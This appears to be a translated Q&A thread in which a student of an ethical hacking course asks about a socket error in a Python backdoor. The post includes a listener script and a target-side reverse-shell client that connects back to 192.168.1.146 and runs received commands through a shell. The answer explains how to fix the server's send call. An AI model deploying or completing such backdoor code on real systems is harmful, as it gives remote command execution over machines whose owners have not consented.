"AttributeError: 'module' object has no attribute 'send'" 将套接字用于后门时



我一直在学习道德黑客课程(下图(,我一直在遵循他的课程,直到制作后门部分。我无法通过它,因为我在使用套接字模块时不断收到错误(如下(。

课程(付费(:https://uthena.com/courses/take/masterhacking19/lessons/6589724-fixing-backdoor-bugs-adding-functions

错误:属性错误:"模块"对象没有属性"发送">

我收到错误的文件:

import socket
import json

def reliable_send(data):
json_data = json.dumps(data)
socket.send(json_data)
def reliable_recv():
json_data = ""
while True:
try:
json_data = json_data + target.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def shell():
while True:
command = raw_input("* Shell#~%s: " % str(ip))
reliable_send(command)
if command == "q":
break
else:
result = reliable_recv()
print(result)
def server():
global s
global ip
global target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("192.168.1.146",54321))
s.listen(5)
print("Listening for Incoming Connections")
target, ip = s.accept()
print("Target Connected")
server()
shell()
s.close()

目标计算机上的文件:

import socket
import subprocess
import json
def reliable_send(data):
json_data = json.dumps(data)
sock.send(json_data)
def reliable_recv():
json_data = ""
while True:
try:
json_data = json_data + sock.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def shell():
while True:
command = reliable_recv()
if command == "q":
break
else:
try:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
reliable_send(result)
except:
reliable_send("[!!] Can't Execute That Command")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.146",54321))
print("Connection Established")
shell()
sock.close()

您需要一个连接的套接字才能发送和接收数据。 您的程序正在使用套接字模块,就好像它是连接的套接字一样,但事实并非如此。 它只是一个与套接字相关的 API 所在的模块。

您的客户端有一个连接的套接字 - 全局sock。 您的服务器没有,并且reliable_send调用socket.send,正如异常指出的那样,它不存在。

在服务器上获取连接的套接字的方法是使用服务器设置的侦听套接字的accept方法。

最新更新